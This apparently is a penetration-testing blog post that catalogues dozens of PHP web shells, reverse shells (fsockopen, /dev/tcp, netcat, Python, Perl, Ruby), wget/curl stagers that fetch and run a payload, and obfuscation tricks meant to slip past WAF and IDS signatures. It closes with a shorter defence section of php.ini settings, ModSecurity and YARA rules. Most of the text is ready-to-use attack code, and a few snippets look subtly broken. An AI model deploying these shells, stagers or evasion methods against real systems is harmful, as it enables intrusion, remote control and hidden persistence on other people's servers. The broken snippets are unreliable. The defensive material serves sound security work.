PHP Web Shell and Reverse Shell Techniques for Linux: 45+ Methods for Penetration Testing

PHP Web Shell and Reverse Shell Techniques: 45+ Methods for Penetration Testing (2025)

The Complete Guide to PHP Web Shell and Reverse Shell Techniques: 45+ Methods for Penetration Testing (2025)

Updated on November 27, 2025

Meta Description: Master 45+ PHP web shell and reverse shell techniques for authorized penetration testing. Learn command execution methods, obfuscation tactics, and defense strategies with ready-to-use code examples.

Table of Contents

  1. Introduction to Web Shells and Reverse Shells
  2. Web Shell Execution Techniques (20+ Methods)
  3. Reverse Shell Connection Methods (25+ Techniques)
  4. Obfuscation and Evasion Techniques
  5. MITRE ATT&CK Framework Mapping
  6. Detection and Defense Strategies

Introduction to Web Shells and Reverse Shells

Web shells and reverse shells are critical tools in penetration testing and red team operations, allowing security professionals to assess the resilience of web applications and server environments against unauthorized access. Understanding these techniques is essential for both offensive security practitioners conducting authorized assessments and defensive teams building robust detection mechanisms.

PHP Web Shell and Reverse Shell Techniques for Linux: 45+ Methods for Penetration Testing

What is a Web Shell?

A web shell is a script uploaded to a web server that enables remote command execution through HTTP requests. These shells provide attackers—or penetration testers—with persistent access to compromised systems, allowing them to execute arbitrary commands, upload/download files, and pivot to other systems.

What is a Reverse Shell?

A reverse shell is a connection initiated from the target system back to the attacker's machine. Unlike bind shells (which open listening ports on the target), reverse shells bypass firewall restrictions by establishing outbound connections, which are typically less restricted in corporate environments.

Legal and Ethical Considerations

WARNING: All techniques described in this article are for authorized penetration testing and educational purposes only. Unauthorized access to computer systems is illegal under laws such as the Computer Fraud and Abuse Act (CFAA) in the United States and similar legislation worldwide.


Web Shell Execution Techniques (20+ Methods)

PHP provides numerous functions for executing system commands, each with different behaviors and security implications. Understanding these variations is crucial for comprehensive security testing. Check out our [Internal Penetration Testing Guide] for more foundational concepts.

1. Direct Command Execution Functions

system() - Output Directly to Browser

The system() function executes external programs and displays output directly:

<?php // Basic system() webshell if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>

Usage Example:

http://target.com/shell.php?cmd=whoami

Detection Signature: High - commonly flagged by WAF/IDS
MITRE ATT&CK: T1059.004 (Command and Scripting Interpreter: Unix Shell)

shell_exec() - Return Output as String

The shell_exec() function returns command output as a string rather than displaying it directly:

<?php // shell_exec() webshell if(isset($_GET['cmd'])) { $output = shell_exec($_GET['cmd']); echo "<pre>$output</pre>"; } ?>

Advantages:

  • Output can be processed before display
  • Supports output manipulation and filtering
  • Can be used in more complex scripts

exec() - Line-by-Line Output

The exec() function returns output as an array, with each line as a separate element:

<?php // exec() webshell with array output if(isset($_POST['cmd'])) { exec($_POST['cmd'], $output, $return_code); echo "Exit Code: $return_code<br>"; echo "<pre>" . implode("\n", $output) . "</pre>"; } ?>

Key Feature: Returns exit status code, useful for error handling

passthru() - Binary-Safe Execution

The passthru() function is designed for binary output and passes data directly to the browser:

<?php // passthru() for binary data if(isset($_GET['cmd'])) { passthru($_GET['cmd']); } ?>

Use Case: Ideal for executing commands that output binary data (images, compressed files)

2. Advanced Process Management Functions

proc_open() - Full Process Control

The proc_open() function provides comprehensive process control with separate handles for STDIN, STDOUT, and STDERR:

<?php // proc_open() webshell with full I/O control if(isset($_POST['cmd'])) { $descriptorspec = array( 0 => array("pipe", "r"), // stdin 1 => array("pipe", "w"), // stdout 2 => array("pipe", "w") // stderr ); $process = proc_open($_POST['cmd'], $descriptorspec, $pipes); if (is_resource($process)) { fclose($pipes[0]); $stdout = stream_get_contents($pipes[1]); $stderr = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); $return_value = proc_close($process); echo "<h3>STDOUT:</h3><pre>$stdout</pre>"; echo "<h3>STDERR:</h3><pre>$stderr</pre>"; echo "<h3>Exit Code: $return_value</h3>"; } } ?>

Advanced Features:

  • Separate error handling
  • Interactive process communication
  • Environment variable control

popen() - Pipe-Based Execution

The popen() function opens a pipe to a process for reading or writing:

<?php // popen() webshell with streaming output if(isset($_GET['cmd'])) { $handle = popen($_GET['cmd'], 'r'); if ($handle) { while (!feof($handle)) { echo fread($handle, 1024); flush(); // Send output immediately } pclose($handle); } } ?>

Use Case: Real-time output streaming for long-running commands

pcntl_exec() - Direct Process Replacement

The pcntl_exec() function replaces the current PHP process with a new program:

<?php // pcntl_exec() - replaces current process // WARNING: This terminates the PHP script if(isset($_GET['cmd'])) { $cmd_parts = explode(' ', $_GET['cmd']); $program = $cmd_parts[0]; $args = array_slice($cmd_parts, 1); pcntl_exec($program, $args); } ?>

Limitation: Requires PCNTL extension (typically disabled in shared hosting)

3. Code Evaluation Functions

eval() - Dynamic PHP Code Execution

The eval() function executes PHP code from strings:

<?php // eval() webshell - executes PHP code if(isset($_POST['code'])) { eval($_POST['code']); } ?>

Example Payload:

POST data: code=system('id');

Security Risk: Extremely dangerous - allows arbitrary PHP code execution
MITRE ATT&CK: T1059.006 (Command and Scripting Interpreter: PHP)

assert() - Alternative Code Execution

The assert() function can execute PHP code when used improperly:

<?php // assert() webshell (PHP < 7.2) if(isset($_REQUEST['code'])) { assert($_REQUEST['code']); } ?>

Note: Deprecated in PHP 7.2+ for code execution, but still present in legacy systems

preg_replace() with /e Modifier

The deprecated /e modifier in preg_replace() allowed code execution:

<?php // preg_replace /e modifier (PHP < 7.0) if(isset($_GET['code'])) { preg_replace('/.*/e', $_GET['code'], ''); } ?>

Status: Removed in PHP 7.0, but present in older systems
Detection Pattern: /e modifier in preg_replace is a strong malware indicator

create_function() - Dynamic Function Creation

The create_function() function creates anonymous functions that can execute arbitrary code:

<?php // create_function() webshell (deprecated PHP 7.2+) if(isset($_POST['code'])) { $func = create_function('', $_POST['code']); $func(); } ?>

Example Payload:

POST data: code=system('whoami');

4. Callback and Array Functions

array_map() - Callback Execution

The array_map() function applies a callback to array elements:

<?php // array_map() webshell if(isset($_GET['cmd'])) { array_map('system', array($_GET['cmd'])); } ?>

Evasion Technique: Less commonly detected than direct system() calls

array_filter() - Conditional Callback

Similar to array_map(), but with filtering logic:

<?php // array_filter() webshell if(isset($_REQUEST['cmd'])) { array_filter(array($_REQUEST['cmd']), 'system'); } ?>

usort() - Sorting with Code Execution

The usort() function can be abused when the comparison function is user-controlled:

<?php // usort() webshell if(isset($_GET['cmd'])) { usort(array($_GET['cmd']), 'system'); } ?>

5. Backtick Operator

The backtick operator provides shell command execution similar to shell_exec():

<?php // Backtick operator webshell if(isset($_GET['cmd'])) { $output = `{$_GET['cmd']}`; echo "<pre>$output</pre>"; } ?>

Syntax Alternative:

<?php // Shorter syntax echo `whoami`; ?>

Reverse Shell Connection Methods (25+ Techniques)

Reverse shells establish connections from the target back to the attacker, bypassing firewall restrictions. If you're studying for certifications, see our list of [Recommended Security Certifications].

1. PHP Socket Functions

fsockopen() + proc_open() - Classic Method

The most reliable PHP reverse shell combines fsockopen() for networking and proc_open() for shell execution:

<?php // fsockopen + proc_open reverse shell $ip = '10.10.10.10'; $port = 4444; $sock = fsockopen($ip, $port); $descriptors = array( 0 => $sock, // stdin 1 => $sock, // stdout 2 => $sock // stderr ); $process = proc_open('/bin/sh -i', $descriptors, $pipes); proc_close($process); ?>

Listener Setup:

# On attacker machine nc -nlvp 4444

MITRE ATT&CK: T1071.001 (Application Layer Protocol)

fsockopen() + File Descriptor Redirection

Redirect file descriptors for a simpler approach:

<?php // fsockopen + exec with fd3 redirection $ip = '10.10.10.10'; $port = 4444; $sock = fsockopen($ip, $port); exec("/bin/sh -i <&3 >&3 2>&3"); ?>

Explanation: File descriptor 3 is redirected to the socket for bidirectional communication

socket_create() - Low-Level Socket Control

Using PHP's socket extension for raw socket manipulation:

<?php // socket_create() reverse shell $ip = '10.10.10.10'; $port = 4444; $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); socket_connect($sock, $ip, $port); socket_write($sock, "[+] Connected\n"); while ($cmd = socket_read($sock, 2048)) { $output = shell_exec(trim($cmd)); socket_write($sock, $output); } socket_close($sock); ?>

Advantage: Works when fsockopen() is disabled

stream_socket_client() - Alternative Socket API

Modern PHP socket implementation:

<?php // stream_socket_client() reverse shell $ip = '10.10.10.10'; $port = 4444; $sock = stream_socket_client("tcp://{$ip}:{$port}"); if ($sock) { $descriptors = array( 0 => $sock, 1 => $sock, 2 => $sock ); $process = proc_open('/bin/sh -i', $descriptors, $pipes); proc_close($process); } ?>

2. Bash /dev/tcp Techniques

Linux systems support TCP connections via the /dev/tcp pseudo-device:

Basic /dev/tcp Reverse Shell

<?php // Bash /dev/tcp reverse shell via system() $ip = '10.10.10.10'; $port = 4444; system("/bin/bash -c 'bash -i >& /dev/tcp/{$ip}/{$port} 0>&1'"); ?>

How It Works:

  • bash -i: Interactive bash shell
  • >&: Redirects stdout and stderr
  • /dev/tcp/IP/PORT: Special file representing TCP connection
  • 0>&1: Redirects stdin to stdout (socket)

/dev/tcp with exec()

<?php // exec() variant for /dev/tcp $ip = '10.10.10.10'; $port = 4444; exec("/bin/bash -c 'bash -i >& /dev/tcp/{$ip}/{$port} 0>&1'"); ?>

/dev/tcp with shell_exec()

<?php // shell_exec() variant $ip = '10.10.10.10'; $port = 4444; shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/{$ip}/{$port} 0>&1'"); ?>

/dev/tcp with popen()

<?php // popen() variant for backgrounding $ip = '10.10.10.10'; $port = 4444; popen("/bin/bash -c 'bash -i >& /dev/tcp/{$ip}/{$port} 0>&1'", 'r'); ?>

Advantage: Non-blocking execution

3. Netcat (nc) Techniques

Netcat is the "Swiss Army knife" of networking tools:

Named Pipe (mkfifo) Method

<?php // nc mkfifo reverse shell $ip = '10.10.10.10'; $port = 4444; system("rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc {$ip} {$port} > /tmp/f"); ?>

Explanation:

  1. Create named pipe /tmp/f
  2. Read from pipe and pass to shell
  3. Send shell output to netcat
  4. Netcat output written back to pipe (creates loop)

nc -e Method (Traditional)

<?php // nc -e reverse shell (if nc supports -e) $ip = '10.10.10.10'; $port = 4444; exec("nc -e /bin/sh {$ip} {$port}"); ?>

Note: The -e flag is disabled in many nc distributions for security reasons

ncat with -e (Nmap's Netcat)

<?php // ncat -e reverse shell (Nmap version) $ip = '10.10.10.10'; $port = 4444; system("ncat -e /bin/sh {$ip} {$port}"); ?>

4. Language-Specific One-Liners

Python Reverse Shell

<?php // Python 2 reverse shell $ip = '10.10.10.10'; $port = 4444; $python = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{$ip}\",{$port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"; exec($python); ?>

Python 3 Reverse Shell

<?php // Python 3 reverse shell $ip = '10.10.10.10'; $port = 4444; $python3 = "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{$ip}\",{$port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"; exec($python3); ?>

Perl Reverse Shell

<?php // Perl reverse shell $ip = '10.10.10.10'; $port = 4444; $perl = "perl -e 'use Socket;\$i=\"{$ip}\";\$p={$port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"; exec($perl); ?>

Ruby Reverse Shell

<?php // Ruby reverse shell $ip = '10.10.10.10'; $port = 4444; $ruby = "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"{$ip}\",{$port});while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'"; exec($ruby); ?>

PHP -r (PHP CLI) Reverse Shell

<?php // PHP -r one-liner (executed via system) $ip = '10.10.10.10'; $port = 4444; system("php -r '\$sock=fsockopen(\"{$ip}\",{$port});exec(\"/bin/sh -i <&3 >&3 2>&3\");'"); ?>

Use Case: When PHP CLI is available but web server restricts certain functions

5. File Download and Execute (Stagers)

wget Stager

<?php // wget download and execute stager $ip = '10.10.10.10'; system("wget http://{$ip}/shell.elf -O /tmp/shell && chmod +x /tmp/shell && /tmp/shell"); ?>

Attacker Setup:

# Host payload python3 -m http.server 80 # Start listener nc -nlvp 4444

MITRE ATT&CK: T1105 (Ingress Tool Transfer)

curl Stager

<?php // curl download and execute stager $ip = '10.10.10.10'; exec("curl http://{$ip}/shell.elf -o /tmp/shell && chmod +x /tmp/shell && /tmp/shell"); ?>

wget to /dev/shm (Memory-Based Staging)

<?php // wget to /dev/shm (tmpfs - no disk writes) $ip = '10.10.10.10'; system("wget http://{$ip}/shell.php -O /dev/shm/shell.php && php /dev/shm/shell.php"); ?>

Evasion Benefit: /dev/shm is a tmpfs mount (RAM-based), leaving minimal forensic traces


Obfuscation and Evasion Techniques

Modern WAFs and IDS solutions employ signature-based detection, making obfuscation essential for testing security controls.

1. Base64 Encoding

Basic Base64 Obfuscation

<?php // Base64 encoded webshell $encoded = 'c3lzdGVt'; // base64('system') $func = base64_decode($encoded); if(isset($_GET['cmd'])) { $func($_GET['cmd']); // Executes system($_GET['cmd']) } ?>

Detection Evasion: Bypasses simple string-matching signatures

Multi-Layer Base64 Encoding

<?php // Double Base64 encoding $encoded = 'YzNsemRHVnQ='; // base64(base64('system')) $func = base64_decode(base64_decode($encoded)); if(isset($_POST['c'])) { $func($_POST['c']); } ?>

Complexity: Each additional layer increases evasion but also processing overhead

Base64 with String Manipulation

<?php // Base64 with str_rot13 obfuscation $obfuscated = 'flfgrz'; // rot13('system') $encoded = base64_encode($obfuscated); $decoded = base64_decode($encoded); $func = str_rot13($decoded); // Returns 'system' $func($_REQUEST['cmd']); ?>

Layered Evasion: Combines multiple encoding schemes

2. String Manipulation Techniques

String Concatenation

<?php // String concatenation to break signatures $s = 'sy' . 'st' . 'em'; if(isset($_GET['cmd'])) { $s($_GET['cmd']); } ?>

Bypass: Defeats simple regex patterns looking for 'system'

Character Array Assembly

<?php // Assemble function name from character array $chars = array('s','y','s','t','e','m'); $func = implode('', $chars); $func($_REQUEST['cmd']); ?>

Hexadecimal Encoding

<?php // Hex-encoded function name $hex = '\x73\x79\x73\x74\x65\x6d'; // system eval("\$func = '$hex';"); $func($_GET['c']); ?>

chr() Function Assembly

<?php // Build function name using chr() $func = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); // system if(isset($_GET['x'])) { $func($_GET['x']); } ?>

3. Variable Function Calls

Indirect Function Invocation

<?php // Variable function call $a = 'system'; $b = 'cmd'; if(isset($_GET[$b])) { $a($_GET[$b]); } ?>

Evasion: Function name never appears as a literal string

Dynamic Function Name Construction

<?php // Dynamic construction $prefix = 'sys'; $suffix = 'tem'; $func = $prefix . $suffix; $func($_REQUEST['c']); ?>

4. Callback Obfuscation

call_user_func() Wrapper

<?php // call_user_func obfuscation if(isset($_GET['cmd'])) { call_user_func('system', $_GET['cmd']); } ?>

Alternative:

<?php // call_user_func with array call_user_func(array('system'), $_POST['x']); ?>

call_user_func_array()

<?php // call_user_func_array obfuscation if(isset($_REQUEST['c'])) { call_user_func_array('system', array($_REQUEST['c'])); } ?>

5. Advanced Obfuscation: String Reversal

<?php // String reversal obfuscation $reversed = 'metsys'; // 'system' reversed $func = strrev($reversed); if(isset($_GET['cmd'])) { $func($_GET['cmd']); } ?>

Combined with Base64:

<?php // Reversed + Base64 $obfuscated = base64_encode(strrev('system')); // Later decode: $func = strrev(base64_decode($obfuscated)); $func($_GET['c']); ?>

6. Compression-Based Obfuscation

gzdeflate/gzinflate

<?php // Compressed payload $compressed = gzdeflate('<?php system($_GET["cmd"]); ?>'); $encoded = base64_encode($compressed); // Execution: eval(gzinflate(base64_decode($encoded))); ?>

Size Benefit: Reduces payload size while adding obfuscation layer

7. Comment Injection (SQL Injection Style)

<?php // Comment injection to break patterns $func = 'sys'.'/*comment*/'.'tem'; $func($_GET['c']); ?>

Note: Works in string concatenation contexts

8. Unicode and Encoding Tricks

URL Encoding

<?php // URL-encoded function name $encoded = 'system'; $func = urldecode($encoded); $func($_REQUEST['cmd']); ?>

HTML Entity Encoding

<?php // HTML entities (less effective in PHP) $func = html_entity_decode('system'); $func($_GET['c']); ?>

9. Polymorphic Code Generation

<?php // Generate random variable names $var1 = 'func_' . md5(time()); $$var1 = 'system'; if(isset($_GET['c'])) { $$var1($_GET['c']); } ?>

Advanced Evasion: Each execution generates different variable names

10. Environment Variable Abuse

<?php // Store function name in environment putenv('FUNC=system'); $func = getenv('FUNC'); $func($_REQUEST['cmd']); ?>

MITRE ATT&CK Framework Mapping

Understanding how these techniques map to MITRE ATT&CK helps organizations prioritize detection and response.

Execution (TA0002)

Technique ID Name Shell Methods
T1059.004 Unix Shell system(), exec(), shell_exec(), /dev/tcp
T1059.006 Python Python reverse shells
T1059.007 JavaScript (Node.js variants not covered)
T1059 Command and Scripting Interpreter All command execution methods

Command and Control (TA0011)

Technique ID Name Shell Methods
T1071.001 Web Protocols HTTP-based webshells
T1071.002 File Transfer Protocols wget/curl stagers
T1095 Non-Application Layer Protocol Raw socket shells
T1571 Non-Standard Port Reverse shells on custom ports

Defense Evasion (TA0005)

Technique ID Name Obfuscation Methods
T1027 Obfuscated Files or Information Base64, encoding, compression
T1027.002 Software Packing gzdeflate/gzinflate
T1140 Deobfuscate/Decode Files or Information base64_decode, gzinflate
T1564.001 Hidden Files and Directories /dev/shm staging

Persistence (TA0003)

Technique ID Name Implementation
T1505.003 Web Shell All webshell techniques
T1053 Scheduled Task/Job Cron-based persistence (not covered)

Detection and Defense Strategies

1. Function Monitoring and Restrictions

php.ini Hardening:

; Disable dangerous functions disable_functions = system,exec,shell_exec,passthru,popen,proc_open,pcntl_exec,eval,assert,create_function

Detection Pattern:

Monitor for: - Multiple failed function calls (indicates disabled_functions bypass attempts) - Unusual parameter patterns in remaining functions - Base64-decoded strings containing PHP code

2. Entropy Analysis

High entropy indicates encrypted or encoded content:

# Python entropy detection import math from collections import Counter def calculate_entropy(data): if not data: return 0 entropy = 0 for count in Counter(data).values(): p_x = count / len(data) entropy -= p_x * math.log2(p_x) return entropy # Typical thresholds: # Plain PHP: 3.5-4.5 # Base64: 5.5-6.5 # Encrypted/Compressed: 7.0-8.0

3. AST (Abstract Syntax Tree) Analysis

Parse PHP code structure to detect malicious patterns:

// Detection: Look for patterns like eval(base64_decode(...)) eval(gzinflate(...)) preg_replace('/.*/e', ...)

4. Behavioral Detection

Monitor System Calls:

# Auditd rule for PHP shell detection -a exit,always -F arch=b64 -S execve -F uid=33 -k php_exec

Network Connection Monitoring:

# Detect outbound connections from PHP processes lsof -i -n -P | grep php netstat -anp | grep php

5. WAF Rules

ModSecurity Example:

# Block common webshell patterns SecRule REQUEST_FILENAME|ARGS "@rx (?i)(eval|base64_decode|gzinflate|system|exec|shell_exec)" \ "id:1001,phase:2,deny,status:403,log,msg:'Potential webshell detected'"

6. File Integrity Monitoring

# AIDE configuration for web directories /var/www/html R+b+sha256 # Tripwire monitoring /var/www -> $(SEC_WEB) ;

7. Yara Rules for Webshell Detection

rule php_webshell_functions { strings: $func1 = "system(" nocase $func2 = "shell_exec(" nocase $func3 = "eval(" nocase $param = "$_GET" nocase $param2 = "$_POST" nocase $param3 = "$_REQUEST" nocase condition: 2 of ($func*) and 1 of ($param*) } rule php_obfuscated_base64 { strings: $decode = "base64_decode(" nocase $eval = "eval(" nocase condition: all of them }

Enjoyed this guide? Share your thoughts below and tell us how you leverage PHP Web Shell and Reverse Shell Techniques in your projects!

{{PHP, Web Shell, Reverse Shell, Penetration Testing, Cybersecurity, Red Teaming, Code Execution, MITRE ATT&CK}}
Bhanu Namikaze

Bhanu Namikaze is an Penetration Tester, Red Teamer, Ethical Hacker, Blogger, Web Developer and a Mechanical Engineer. He Enjoys writing articles, Blogging, Debugging Errors and CTFs. Enjoy Learning; There is Nothing Like Absolute Defeat - Try and try until you Succeed.

No comments:

Post a Comment